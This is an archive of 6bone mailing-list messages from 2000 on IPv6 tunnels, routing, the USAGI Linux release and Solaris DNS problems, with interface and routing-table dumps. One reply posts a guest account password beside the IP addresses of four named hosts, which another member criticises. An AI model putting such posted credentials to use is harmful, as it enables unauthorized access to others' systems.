Euh ... what is a 'Ships-In-the-Night argument' ??? (what does this mean?)

>>>> - internal BGP?
>>> => *not* an IGP!
>> Technically speaking not, but you could use it as a IGP (just assign a
>>   private AS-number to your 'customers').
> => iBGP is a weak part of BGP, for instance the full mesh constraint is
> a real pain (and confederation/reflectors nighmares).

Well, I would use my backbone-AS on the 'backbone-nodes', but private
ASnumber on the 'internal networks'. In that case, there is no need for a
full-BGP-mesh.

Cheerio! Kr. Bonne.
-- 
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122






From 6bone-owner  Mon Oct 30 12:26:33 2000
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	(envelope-from yasu@sfc.wide.ad.jp)
To: dante@tvnet.hu
Cc: davidg@uk.uu.net, kristoff.bonne@skypro.be,
        Francis.Dupont@enst-bretagne.fr, 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6
From: Yasuhiro Ohara <yasu@sfc.wide.ad.jp>
In-Reply-To: <39FD73A4.BFA5B225@tvnet.hu>
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	<39FD73A4.BFA5B225@tvnet.hu>
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dante> Yasuhiro, here is an answer :)
dante> thx David.
dante> 
dante> 
dante> David Gethings wrote:
dante> > 
dante> > If anyone is interested in Cisco's IPv6 Statement of Direction (which
dante> > answers many questions on this thead) then go to
dante> > http://www.cisco.com/ipv6/
dante> > 
dante> > It includes many useful things including the current beta IOS for several
dante> > hardware models.

I couldn't get the information of OSPFv3 from that URL...
I could find the word only in the index of a french book....

    yasu




From 6bone-owner  Tue Oct 31 07:40:39 2000
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Date: Tue, 31 Oct 2000 18:36:09 +0300 (MSK)
From: Grigory Kljuchnikov <grn@ispras.ru>
To: 6bone@ISI.EDU
cc: duncan@nosc.ja.net, join@uni-muenster.de
Subject: Quiestion about reconfiguration our 6bone stuff
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Hello,

Some time ago we have join to 6bone and have following
information in 6Bone/Whois database:

ipv6-site           ISPRAS

origin              AS3216 RIPE-ASNBLOCK4

descr               Institute for System Programming RAS, 
                    Moscow, Russia

country             RU - RUSSIAN FEDERATION  

prefix              3FFE:2100:1:17::/64 
                    Aggregatable Global Unicast Address
                    TLA-ID: 0x1ffe, Sub-TLA: 0x420 6Bone
                    6BONE:JANET:JANET-PTP:

application         ping hex.ispras.ru

tunnels             type    IPv6 in IPv4
                    source  194.67.37.209
                            hex.ispras.ru
                    dest    193.63.94.6
                            ulcc.ipv6.ja.net
                    dest site JANET
                    dest prefix 3FFE:2100::/24
                    protocol STATIC

contact             VF1-6BONE

changed             vovus@ispras.ru 15th June 1999

This was done by our postgraduate student Vladimir Faiden. He had 
some work with IPSEC. But now he works in some project that has not
any relations with IPv6 and 6Bone and don't maintain our 6Bone tunnel.
Moreover he don't remember how he has made the tunnel in detail.

We have a IPv6 project and we'd like to restore 6Bone tunnel with another
our host to test our implementions in IPv6 environment. 
Besides we want to deploy IPv6 environment inside our LAN. I've read some
documents at www.6bone.net, but they don't explain how to reconfigure
established connection.

Now what we want:

1. We want to have a IPv6 router to 6Bone and some prefix that permit
to use site-local addresses inside our LAN and provide them to other 
sites (I suppose it's one NLA ID if it's possible)

2. We have a FreeBSD 4.1.1 box for this purpose that is named 
motor.ispras.ru (194.67.37.210). I've configure it with IPv6
and gif tunnel interfaces.
 

What we need to do?  

Many thanks!

Best regards,
Grigory Klyuchnikov
------------------------------------------------------------
Institute for System Programming Russian Academy of Sciences,
109004, Moscow, Russia, B.Kommunistitcheskay, 25,
  phone(work):   +7-095-9125659
  fax:           +7-095-9121524
  e-mail:        <grn@ispras.ru>






From 6bone-owner  Tue Oct 31 14:55:27 2000
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From: Ben Lovett <blovett@bsdguru.com>
To: Jeroen Ruigrok van der Werven <jruigrok@via-net-works.nl>
Cc: 6bone@ISI.EDU
Subject: Re: Problems getting FreeNet6's tunnel working
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--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Jeroen Ruigrok van der Werven (jruigrok@via-net-works.nl) wrote:
<snip>
> Can you give me ifconfig -a, gifconfig -a and netstat -rn -f inet6 ?
> 
> I think one problem is that for the gif interface the prefixlength needs
> to be set to 128 instead of the 127 as was present in the script IIRC.
> 
> Expect some commits soon to CURRENT and subsequently STABLE so that
> rc.conf can provide auto link set-up what the script now does.
</snip>

Sure thing.  I've attached the output due to the wrapping i have set in
vi..  It just doesn't look good when pasted ;)

-Ben

--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="ifconfig.out"

xl0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> mtu 1500
	ether 00:50:da:c7:c9:f8 
	media: autoselect (none) status: no carrier
	supported media: autoselect 100baseTX <full-duplex> 100baseTX 10baseT/UTP <full-duplex> 10baseT/UTP 100baseTX <hw-loopback>
fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet 192.168.0.1 netmask 0xffffff00 broadcast 192.168.0.255
	inet6 fe80::290:27ff:fe8f:572a%fxp0 prefixlen 64 scopeid 0x2 
	ether 00:90:27:8f:57:2a 
	media: autoselect (100baseTX) status: active
	supported media: autoselect 100baseTX <full-duplex> 100baseTX 10baseT/UTP <full-duplex> 10baseT/UTP
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
gif0: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
	inet6 fe80::250:daff:fec7:c9f8%gif0 --> :: prefixlen 64 scopeid 0x4 
	inet6 3ffe:b00:c18:1fff::2c7 --> 3ffe:b00:c18:1fff::2c6 prefixlen 127 
gif1: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
	inet6 fe80::1%lo0 prefixlen 64 scopeid 0x6 
	inet6 ::1 prefixlen 128 
	inet 127.0.0.1 netmask 0xff000000 
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
stf0: flags=0<> mtu 1280
faith0: flags=8000<MULTICAST> mtu 1500
tun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
	inet6 fe80::250:daff:fec7:c9f8%tun0 --> :: prefixlen 64 scopeid 0xb 
	inet 207.113.133.11 --> 207.113.132.77 netmask 0xffffff00 
	Opened by PID 306

--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="netstat.out"

Routing tables

Internet6:
Destination                       Gateway                       Flags      Netif Expire
default                           3ffe:b00:c18:1fff::2c7        UGSc       gif0
::1                               ::1                           UH          lo0
3ffe:b00:c18:1fff::2c6            3ffe:b00:c18:1fff::2c7        UH         gif0
3ffe:b00:c18:1fff::2c7            ::1                           UH          lo0
fe80::%fxp0/64                    link#2                        UC         fxp0
fe80::%gif0/64                    link#4                        UC         gif0
fe80::250:daff:fec7:c9f8%gif0     ::1                           UH          lo0
fe80::%lo0/64                     fe80::1%lo0                   Uc          lo0
fe80::%tun0/64                    link#11                       UC         tun0
fe80::250:daff:fec7:c9f8%tun0     ::1                           UH          lo0
ff01::/32                         ::1                           U           lo0
ff02::%fxp0/32                    link#2                        UC         fxp0
ff02::%gif0/32                    link#4                        UC         gif0
ff02::%lo0/32                     fe80::1%lo0                   UC          lo0
ff02::%tun0/32                    link#11                       UC         tun0

--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="gifconfig.out"

gif0: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
	inet6 fe80::250:daff:fec7:c9f8%gif0 --> ::  prefixlen 64 
	inet6 3ffe:b00:c18:1fff::2c7 --> 3ffe:b00:c18:1fff::2c6  prefixlen 127 
	physical address inet 207.113.133.11 --> 206.123.31.102
gif1: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
	physical address  --> 

--5vNYLRcllDrimb99--

From 6bone-owner  Wed Nov  1 01:57:48 2000
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Date: Wed, 01 Nov 2000 18:56:30 +0900
Message-ID: <m3u29sow1d.wl@shaku.sfc.wide.ad.jp>
From: usagi-core <sekiya@sfc.wide.ad.jp>
To: 6bone@ISI.EDU
Subject: [ANN] 1st release of USAGI IPv6 environment
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 MULE XEmacs/21.1 (patch 9) (Canyonlands) (i686-pc-linux)
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We are glad to announce the 1st release of USAGI Project. The "USAGI"
means UniverSAl playGround for Ipv6. It is the IPv6 development project
for Linux operating systems mainly.

As many other operating systems and routers, the Linux kernel has
its original IPv6 implementation.  However, the development was done
long time ago and the implementation is not up-to-dated. Many important
features such as IPsec and NDP are missing or miss-implemented.

Considering the situation, we have started USAGI Project with WIDE Project,
KAME Project and TAHI Project in August 2000. 

The USAGI Project is managed by volunteers and aims to provide
better IPv6 environment on Linux freely. We try to improve Linux kernel,
IPv6 related libraries and IPv6 applications.

Please visit http://www.linux-ipv6.org/ for further details.

Today, November 1st, we are glad to announce 1st official release from
USAGI Project. At the release, we include the following three packages.

- Linux Kernel-2.4.0-test9-usagi-20001101a
	Based on Linux Kernel-2.4.0-test9, we have improved and
	implemented
		+ better source address selection,
		+ ICMPv6 Node Information Queries,
		+ SNMP statistics per device,
		+ IPv6 khttpd,
		+ joining all-node multicast address on network devices and
		+ many bug fixes.

- glibc-2.1.3-usagi-20001101a
	Based on glibc-2.1.3, we have improved
		+ supporting sin6_scope_id,
		+ adding AI_ADDRCONFIG flag,
		+ some RFC2292 functions,
		+ adding getifaddrs API and
		+ some bug fixes.

- iputils-ss000418-usagi-20001101a
	Based on iputils-ss000418, we have improved
		+ supporting sin6_scope_id,
		+ ICMPv6 Node Information Queries and
		+ supporting Autoconfigure.

You can get above source codes from the following URL.
	ftp://ftp.linux-ipv6.org/pub/usagi/stable/patch/


USAGI Project will release snapshot codes on each two weeks and
after implementing some features, we will release stable codes.
We will announce latest information regarding releasing codes
via web page. Please check our web site.

We also provide the binary packages for some distributions.
Some of the binary packages have diffrent code version with original
USAGI code because of packaging policy. You can get the packages from
following sites.

Debian GNU/Linux 2.2 (potato)
	ftp://ftp.linux-ipv6.org/pub/usagi/stable/package/debian/

Kondara MNU/Linux (Jirai)
	ftp://ftp.linux-ipv6.org/pub/usagi/stable/package/kondara/

RedHat Linux 7.0
	ftp://ftp.linux-ipv6.org/pub/usagi/stable/package/redhat/

TurboLinux 6.0 (or later) (for Japanese version)
	ftp://ftp.linux-ipv6.org/pub/usagi/stable/package/turbo/

By the way, we manage the mailing list for USAGI users. If you have 
questions or advices, please join the mailing list. For more ditails, 
please see http://www.linux-ipv6.org/ml/ .

Thanks.

Related Web sites.
	WIDE Project	http://www.wide.ad.jp/
	KAME Project	http://www.kame.net/
	TAHI Project	http://www.tahi.org/

-- 
USAGI Project <http://www.linux-ipv6.org>

From 6bone-owner  Wed Nov  1 12:27:20 2000
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Date: Wed, 01 Nov 2000 14:27:12 -0600
To: 6bone@ISI.EDU
From: "6bone@schulte.org" <6bone@schulte.org>
Subject: IPv6 shell access swap?
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Greetings,

Is anyone willing to swap shell access with me on a V6 enabled unix box?

I've got a fairly reliable 6bone v6 tunnel to Sprint on a FreeBSD 4.1.1 box 
that's pretty much dedicated to v6 testing.

I'd like to swap login access with someone who has a non-sprint tunnel, so 
I can use it for remote testing.  Ideally it'd be on a dedicated box with a 
fairly reliable uptime, and a dual v4/v6 stack.  My server should be up 
virtually 24/7, minus when I'm making changes to the v6 config or something 
along that lines.  It can be reached by both v4 and v6 networks.

Thank you.

--
Christopher Schulte | christopher@schulte.org
http://www.schulteconsulting.com/ - Consulting
http://noc.schulte.org/ - IPv4 209.134.156.192/27
http://www.ipv6.schulte.org/ - IPv6 3ffe:2900:e00a::/48


From 6bone-owner  Wed Nov  1 16:16:16 2000
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Subject: Re: IPv6 shell access swap?
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How are you?

I'm running following boxes. And you can use guest account.
The password of guest account is .guest.

The boxes are attached to KOREN IPv6 network using native
IPv6 over ATM.  KOREN IPv6 network is peering to 6TAP, WIDE,
APAN and SingAREN.

(1) cdtbsd/FreeBSD 3.5.1
    IPv4: 203.255.254.26
    IPv6: 2001:220:0:2:201:2ff:fe7e:fec5
(2) cdt61/Solaris 7
    IPv4: 203.255.254.27
    IPv6: 2001:220:0:2:0:80:2079:8eb6
(3) cdt62/Solaris 8 (I'm working for BIND9.)
    IPv4: 203.255.254.28
    IPv6: 2001:220:0:2:a00:20ff:fecf:18a2
(4) cdtwin/Windows 2000
    IPv4: 203.255.254.29
    IPv6: 2001:220:0:2:2c0:6cff:fe60:7814

Will you send me the guest account for you box?
Thank you.


"6bone@schulte.org" wrote:

> Greetings,
>
> Is anyone willing to swap shell access with me on a V6 enabled unix box?
>
> I've got a fairly reliable 6bone v6 tunnel to Sprint on a FreeBSD 4.1.1 box
> that's pretty much dedicated to v6 testing.
>
> I'd like to swap login access with someone who has a non-sprint tunnel, so
> I can use it for remote testing.  Ideally it'd be on a dedicated box with a
> fairly reliable uptime, and a dual v4/v6 stack.  My server should be up
> virtually 24/7, minus when I'm making changes to the v6 config or something
> along that lines.  It can be reached by both v4 and v6 networks.
>
> Thank you.
>
> --
> Christopher Schulte | christopher@schulte.org
> http://www.schulteconsulting.com/ - Consulting
> http://noc.schulte.org/ - IPv4 209.134.156.192/27
> http://www.ipv6.schulte.org/ - IPv6 3ffe:2900:e00a::/48

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Wed Nov  1 22:40:28 2000
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From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: "'Kristoff Bonne'" <kristoff.bonne@skypro.be>
Cc: 6bone@ISI.EDU
Subject: IPv6 tunnel 
Date: Thu, 2 Nov 2000 14:29:27 +0800 
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Hi ,
Question on IPv6 tunnel 
1.To setup 6to4 or 6over4 tunnel with 6bone end site  should i have a IPv6
supported Router and Leased Line. 

2.All our PCs host to connect Internet are using private IP, 192.168.48.X,
from 3600 Cisco router generating by NAT, 
Can I use Private IPv4 address to setup 6to4 tunnel with 6 bone end site?

3. If the answer is "No" for the question 2, then I must use a Real IP. In
order to obtain a Real IP, I can choose one of the   connections:
 leased line (With a Router), PPPoE Dial up (NO router, 24 hours * 7 days)
or  56k Dial Up Modem (No Router, for sure) . 
 Can I setup 6to4 tunnel by using PPPoE or 56k dial Up.


4. There are number of features in IPv6,  Authentication and ESP,
Auto-configuration, RSVP, Flow Label. If  we setup a tunnel with Cisco in
6to4 or 6over4 how can I test those functionalities. Any O/S, Any program,
Any procedures, Any hacker program to test the Security in  Ipv6 


Keith Tang 

From 6bone-owner  Thu Nov  2 00:42:16 2000
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Date: Thu, 2 Nov 2000 08:42:06 +0000 (GMT)
From: David Gethings <davidg@uk.uu.net>
To: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
cc: "'Kristoff Bonne'" <kristoff.bonne@skypro.be>, 6bone@ISI.EDU
Subject: Re: IPv6 tunnel 
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Hi Keith,

Answers are inline:

On Thu, 2 Nov 2000, Keith Tang (HTHK - Engineer II, NW3G) wrote:

> Hi ,
> Question on IPv6 tunnel 
> 1.To setup 6to4 or 6over4 tunnel with 6bone end site  should i have a IPv6
> supported Router and Leased Line. 
You don't have to, no. The tunnel can start from one of your hosts on the
LAN. Of course you can just as easily start the tunnel from the router.

> 
> 2.All our PCs host to connect Internet are using private IP, 192.168.48.X,
> from 3600 Cisco router generating by NAT, 
> Can I use Private IPv4 address to setup 6to4 tunnel with 6 bone end site?
In thoery yes. I've never done it personally. From theads I have seen on
this list it is possible, but sounds difficult.

> 
> 3. If the answer is "No" for the question 2, then I must use a Real IP. In
> order to obtain a Real IP, I can choose one of the   connections:
>  leased line (With a Router), PPPoE Dial up (NO router, 24 hours * 7 days)
> or  56k Dial Up Modem (No Router, for sure) . 
>  Can I setup 6to4 tunnel by using PPPoE or 56k dial Up.
> 
> 
> 4. There are number of features in IPv6,  Authentication and ESP,
> Auto-configuration, RSVP, Flow Label. If  we setup a tunnel with Cisco in
> 6to4 or 6over4 how can I test those functionalities. Any O/S, Any program,
> Any procedures, Any hacker program to test the Security in  Ipv6 
There is little point in testing any of these features in a 6over4  tunnel
as the majority of the time your IPv6 packet is encapsulated in an IPv4
packet. Only on a IPv6 enabled device will the IPv6 headers be seen and so
adhered to.

> 
> 
> Keith Tang 
> 

Regards

-- 
David Gethings			UUNET, a Worldcom Company,
Network Activation Engineer	Internet House, 332 Science Park,
Email: davidg@uk.uu.net		Cambridge, CB4 0BZ, United Kingdom.
Phone: +44 (0)1223 581515	http://www.uk.uu.net/



From 6bone-owner  Thu Nov  2 00:57:49 2000
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From: "Johan Verelst" <tcp6@mail.be>
To: 6bone@ISI.EDU
Subject: Solaris
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Hello is there anyone who has an answer to this:
We are working with Solaris8 and Bind8,
One solaris machine had DNS for IPv6 up and running,
But, when I issue the command: ping -A inet6 (hostname)
no packets are sent at all.
We use Solris8 on an Intel Architecture.

Also is there anyone from belgium who knows an ISP
that can provide IPv6 addresses?
Please don't be vague I have already trouble
understanding all this.

thx

I don't mind sharing all my findings with you all.

Greetings Mithrandir.

------------------------------------------------------------
Want a free mail at http://www.mail.be ?

From 6bone-owner  Thu Nov  2 03:54:31 2000
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On Thu, 2 Nov 2000, Johan Verelst wrote:

> Hello is there anyone who has an answer to this:
> We are working with Solaris8 and Bind8,
> One solaris machine had DNS for IPv6 up and running,
> But, when I issue the command: ping -A inet6 (hostname)
> no packets are sent at all.
> We use Solris8 on an Intel Architecture.
what happens with
# nslookup -q=aaaa (hostname)

does it find it?
Do you have an /etc/inet/ipnodes or a nis or NIS+ ipnodes table?

Pete.


From 6bone-owner  Thu Nov  2 04:01:49 2000
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To: usagi-core <usagi-core@linux-ipv6.org>
cc: 6bone@ISI.EDU
Subject: Re: [ANN] 1st release of USAGI IPv6 environment
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On Wed, 1 Nov 2000, usagi-core wrote:

> 
> We are glad to announce the 1st release of USAGI Project. The "USAGI"
> means UniverSAl playGround for Ipv6. It is the IPv6 development project
> for Linux operating systems mainly.
> 
> As many other operating systems and routers, the Linux kernel has
> its original IPv6 implementation.  However, the development was done
> long time ago and the implementation is not up-to-dated. Many important
> features such as IPsec and NDP are missing or miss-implemented.

This is great news.  I look forward to your new code being incorporated
into the mainstream Linux kernel development.

Peter.


From 6bone-owner  Thu Nov  2 04:20:00 2000
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Date: Thu, 2 Nov 2000 02:19:47 -1000
From: Brian Russo <brusso@phys.hawaii.edu>
To: ksb <ksbn@kt.co.kr>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 shell access swap?
Message-ID: <20001102021947.C460@uhhepr.phys.hawaii.edu>
References: <5.0.0.25.2.20001101141454.020b4570@pop.schulte.org> <3A00B31D.65CE1BC5@kt.co.kr>
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On Thu, Nov 02, 2000 at 09:19:42AM +0900, ksb wrote:
> How are you?
> 
> I'm running following boxes. And you can use guest account.
> The password of guest account is .guest.
> 
> The boxes are attached to KOREN IPv6 network using native
> IPv6 over ATM.  KOREN IPv6 network is peering to 6TAP, WIDE,
> APAN and SingAREN.

just an idea.. not to dictate anyone else's site policy..
herm.. maybe it's not such a great idea to give out l/p's on a mailing list
like this? i dont care if they're restricted shells or whatever..

my $0.02 (tax exclusive)
 - brian.

> 
> (1) cdtbsd/FreeBSD 3.5.1
>     IPv4: 203.255.254.26
>     IPv6: 2001:220:0:2:201:2ff:fe7e:fec5
> (2) cdt61/Solaris 7
>     IPv4: 203.255.254.27
>     IPv6: 2001:220:0:2:0:80:2079:8eb6
> (3) cdt62/Solaris 8 (I'm working for BIND9.)
>     IPv4: 203.255.254.28
>     IPv6: 2001:220:0:2:a00:20ff:fecf:18a2
> (4) cdtwin/Windows 2000
>     IPv4: 203.255.254.29
>     IPv6: 2001:220:0:2:2c0:6cff:fe60:7814
> 
> Will you send me the guest account for you box?
> Thank you.
> 
> 
> "6bone@schulte.org" wrote:
> 
> > Greetings,
> >
> > Is anyone willing to swap shell access with me on a V6 enabled unix box?
> >
> > I've got a fairly reliable 6bone v6 tunnel to Sprint on a FreeBSD 4.1.1 box
> > that's pretty much dedicated to v6 testing.
> >
> > I'd like to swap login access with someone who has a non-sprint tunnel, so
> > I can use it for remote testing.  Ideally it'd be on a dedicated box with a
> > fairly reliable uptime, and a dual v4/v6 stack.  My server should be up
> > virtually 24/7, minus when I'm making changes to the v6 config or something
> > along that lines.  It can be reached by both v4 and v6 networks.
> >
> > Thank you.
> >
> > --
> > Christopher Schulte | christopher@schulte.org
> > http://www.schulteconsulting.com/ - Consulting
> > http://noc.schulte.org/ - IPv4 209.134.156.192/27
> > http://www.ipv6.schulte.org/ - IPv6 3ffe:2900:e00a::/48
> 
> --
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8279
>   E-mail :  ksbn@kt.co.kr
> --
> 
> 

-- 
+-------------------------------------------------------------
| Brian Russo   <brusso@phys.hawaii.edu>   GPG ID: 54D81666 
| 404E 87E8 DD0C 275B 742B  09AD 2243 839C 54D8 1666 

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From: "Johan Verelst" <tcp6@mail.be>
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Subject: solaris
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>  Hello is there anyone who has an answer to this:
>  We are working with Solaris8 and Bind8,
>  One solaris machine had DNS for IPv6 up and running,
>  But, when I issue the command: ping -A inet6 (hostname)
>  no packets are sent at all.
>  We use Solris8 on an Intel Architecture.
what happens with
# nslookup -q=aaaa (hostname)

does it find it?
Do you have an /etc/inet/ipnodes or a nis or NIS+ ipnodes table?

Pete.

Thanks a lot I will try it out as soon as I get my computers back.
Expect an answer next week or so.
Thanks again.

------------------------------------------------------------
Want a free mail at http://www.mail.be ?

From 6bone-owner  Thu Nov  2 07:19:21 2000
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Date: Thu, 2 Nov 2000 07:19:13 -0800
From: "''Ben Lovett ' '" <blovett@bsdguru.com>
To: "Brown, James" <JBrown@thrupoint.net>
Cc: 6bone@ISI.EDU
Subject: Re: Problems getting FreeNet6's tunnel working
Message-ID: <20001102071913.A30316@bsdguru.com>
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Brown, James (JBrown@thrupoint.net) wrote:

One of us thinks the other is talking about something completly
different.  tun0 is my PPP connection.. When I dial into my ISP, i use
the tun0 interface to get my IPv4 connection.  When I run the perl
script provided by Freenet6, the only thing it should be doing is
assigning the gif0 interface my PPP IP, and then my IPv6 tunnel
endpoint.  I do have a static IP on my PPP connection.

Maybe, now that I have tried to clear this up a little, we can get
somewhere.  Sorry if this is getting a bit tedious ;)

-Ben

*snip*
> Yes-  but the endpoint of the tunnel has to be on the *same box*
> you are wanting to run IPv6 because the endpoint will strip
> off the IPv4 header.  If the v4 header is stripped off
> at your gateway and not the host, the IPv6 packet has nowhere
> to go.
> 
> (Use fixed width font to view below.)
> 
> 
>                             +
>                             |
>              YOU            +        FreeNet
>                             |
>                             +
> 
>                gif0 ------------------ Freetunnel0
>            192.145.217.55/24          196.27.56.10/24
>     xl0                                                ethernet0
> 3ffe:a:b:c::1 prefixlen 127                   3ffe:a:b:c::2 prefixlen 127

From 6bone-owner  Thu Nov  2 07:27:13 2000
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From: Jason Bogin <jason@jax-inc.com>
To: "'Keith Tang (HTHK - Engineer II, NW3G) '" <KEITHT@hthk.com>,
        "''Kristoff Bonne' '" <kristoff.bonne@skypro.be>
Cc: "'6bone@ISI.EDU '" <6bone@ISI.EDU>
Subject: RE: IPv6 tunnel 
Date: Thu, 2 Nov 2000 10:27:03 -0500 
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Keith,
I have a sample Cisco IPv6 configuration on my web site when I did research
for the University of North Florida.

Go to http://www.jax-inc.com/IPv6

Thanks, Jason
 

-----Original Message-----
From: Keith Tang (HTHK - Engineer II, NW3G)
To: 'Kristoff Bonne'
Cc: 6bone@ISI.EDU
Sent: 11/2/00 1:29 AM
Subject: IPv6 tunnel 

Hi ,
Question on IPv6 tunnel 
1.To setup 6to4 or 6over4 tunnel with 6bone end site  should i have a
IPv6
supported Router and Leased Line. 

2.All our PCs host to connect Internet are using private IP,
192.168.48.X,
from 3600 Cisco router generating by NAT, 
Can I use Private IPv4 address to setup 6to4 tunnel with 6 bone end
site?

3. If the answer is "No" for the question 2, then I must use a Real IP.
In
order to obtain a Real IP, I can choose one of the   connections:
 leased line (With a Router), PPPoE Dial up (NO router, 24 hours * 7
days)
or  56k Dial Up Modem (No Router, for sure) . 
 Can I setup 6to4 tunnel by using PPPoE or 56k dial Up.


4. There are number of features in IPv6,  Authentication and ESP,
Auto-configuration, RSVP, Flow Label. If  we setup a tunnel with Cisco
in
6to4 or 6over4 how can I test those functionalities. Any O/S, Any
program,
Any procedures, Any hacker program to test the Security in  Ipv6 


Keith Tang 

From 6bone-owner  Thu Nov  2 23:54:04 2000
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From: "Kontogianni Vicky" <kontogia@cti.gr>
To: "'Johan Verelst'" <tcp6@mail.be>
Cc: <6bone@ISI.EDU>
Subject: RE: Solaris
Date: Fri, 3 Nov 2000 09:53:48 +0200
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Check your /etc/nsswitch.conf file. It must have a line of the form:

ipnodes:	 files dns

This is the way to instruct the IPv6 aware applications (like ping) to make
use of the DNS.


Vicky.




> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On
> Behalf Of Johan
> Verelst
> Sent: Thursday, November 02, 2000 11:03 AM
> To: 6bone@ISI.EDU
> Subject: Solaris
>
>
> Hello is there anyone who has an answer to this:
> We are working with Solaris8 and Bind8,
> One solaris machine had DNS for IPv6 up and running,
> But, when I issue the command: ping -A inet6 (hostname)
> no packets are sent at all.
> We use Solris8 on an Intel Architecture.
>
> Also is there anyone from belgium who knows an ISP
> that can provide IPv6 addresses?
> Please don't be vague I have already trouble
> understanding all this.
>
> thx
>
> I don't mind sharing all my findings with you all.
>
> Greetings Mithrandir.
>
> ------------------------------------------------------------
> Want a free mail at http://www.mail.be ?


From 6bone-owner  Fri Nov  3 05:13:06 2000
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From: "Lukovszki, Csaba" <csaba.lukovszki@ttt.bme.hu>
To: "ML IPv6 users" <users@ipv6.org>, "ML 6bone" <6bone@ISI.EDU>
Subject: Linux vs. FreeBSD
Date: Fri, 3 Nov 2000 14:15:48 +0100
Organization: High Speed Networks Laboratory
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Dear All,

I am trying to chose between Linux and FreeBSD implementations.
Do you have any suggestions or possibly some ineternet references
about comparition between them?

Thanks


From 6bone-owner  Fri Nov  3 06:25:37 2000
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>Date: Thu, 2 Nov 2000 11:53:48 +0000 (GMT)
>From: Peter Bunclark <psb@ast.cam.ac.uk>kontogia@cti.gr
>To: Johan Verelst <tcp6@mail.be>
>cc: 6bone@isi.edu
>Subject: Re: Solaris
>
>
>
>On Thu, 2 Nov 2000, Johan Verelst wrote:
>
>> Hello is there anyone who has an answer to this:
>> We are working with Solaris8 and Bind8,
>> One solaris machine had DNS for IPv6 up and running,
>> But, when I issue the command: ping -A inet6 (hostname)
>> no packets are sent at all.
>> We use Solris8 on an Intel Architecture.
>what happens with
># nslookup -q=aaaa (hostname)

meanwhile, thanks to Vicky, the above mentioned command works but,
the answer on nslookup -q=aaaa (hostname) is this:
*** Can't find server name for address 192.168.1.81: No response from server
*** Default servers are not available
(if you want I can include the DNS files next time)
/var/named/db.127.0.0
/var/named/db.cache
/var/named/db.fddi.be
/var/named/db.localhost
/var/named/fe80::.db
/var/named/local.db
or the ones you ask for.

>
>does it find it? => well, no
>Do you have an /etc/inet/ipnodes, => yes
 or a nis or NIS+ ipnodes table? => No
>
>Pete.

Thanks again for your efforts.


------------------------------------------------------------
Want a free mail at http://www.mail.be ?

From 6bone-owner  Fri Nov  3 22:08:22 2000
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Subject: how to make tunnel and route on solaris8
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Dear all
        i am testing ipv6 protocol on solaris8.But we cannt find command to make tunnel and route.we have a block of IPV6 address .But we cant tunnel out.who have been done it.Please give me a case .


        thanks
        
______________________________________

===================================================================
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From 6bone-owner  Sun Nov  5 06:26:29 2000
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Date: Sun, 5 Nov 2000 06:26:18 -0800
From: "'''Ben Lovett ' ' '" <blovett@bsdguru.com>
To: "Brown, James" <JBrown@thrupoint.net>
Cc: 6bone@ISI.EDU
Subject: Re: Problems getting FreeNet6's tunnel working
Message-ID: <20001105062618.A36526@bsdguru.com>
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Sorry about not responding quicker, but school has gotten in the way ;)

No go ... Still is not working.  I'm going to wait for the release of
4.2-STABLE, which should be commout out real soon ..  Unless I can
figure it out on my own (which i kinda doubt), i'll just have to wait
for more assistance .. Do you have any more ideas?

-ben

Brown, James (JBrown@thrupoint.net) wrote:
> How about the contents of the sysctl variables:
> net.inet.ip.forwarding
> net.inet.ip.fastforwarding
> net.inet6.ip6.forwarding
> 
> 
> My FreeBSD 4.1 box has 
> 
> root@sixshooter:/tmp#uname -a
> FreeBSD sixshooter.lab.thrupoint.net 4.1-RELEASE FreeBSD 4.1-RELEASE #0: Thu
> Jul 27 04:44:16 GMT 2000
> root@usw4.freebsd.org:/usr/src/sys/compile/GENERIC  i386
> root@sixshooter:/tmp#sysctl -a | grep forward
> net.inet.ip.forwarding: 1
> net.inet.ip.fastforwarding: 0
> net.inet6.ip6.forwarding: 1
> 
> while FreeBSD 4.1.1 has
> 
> root@colt46:~#uname -a
> FreeBSD colt46.lab.thrupoint.net 4.1.1-RELEASE FreeBSD 4.1.1-RELEASE #0: Tue
> Sep 26 00:46:59 GMT 2000
> jkh@narf.osd.bsdi.com:/usr/src/sys/compile/GENERIC  i386
> root@colt46:~#sysctl -a | grep forwar
> net.inet.ip.forwarding: 0
> net.inet.ip.fastforwarding: 0
> net.inet6.ip6.forwarding: 0
> 
> 
> jpb
> ===
> 
> 
> 
> 
>  
> 
> -----Original Message-----
> From: ''Ben Lovett ' '
> To: Brown, James
> Cc: 6bone@isi.edu
> Sent: 11/2/00 10:19 AM
> Subject: Re: Problems getting FreeNet6's tunnel working
> 
> Brown, James (JBrown@thrupoint.net) wrote:
> 
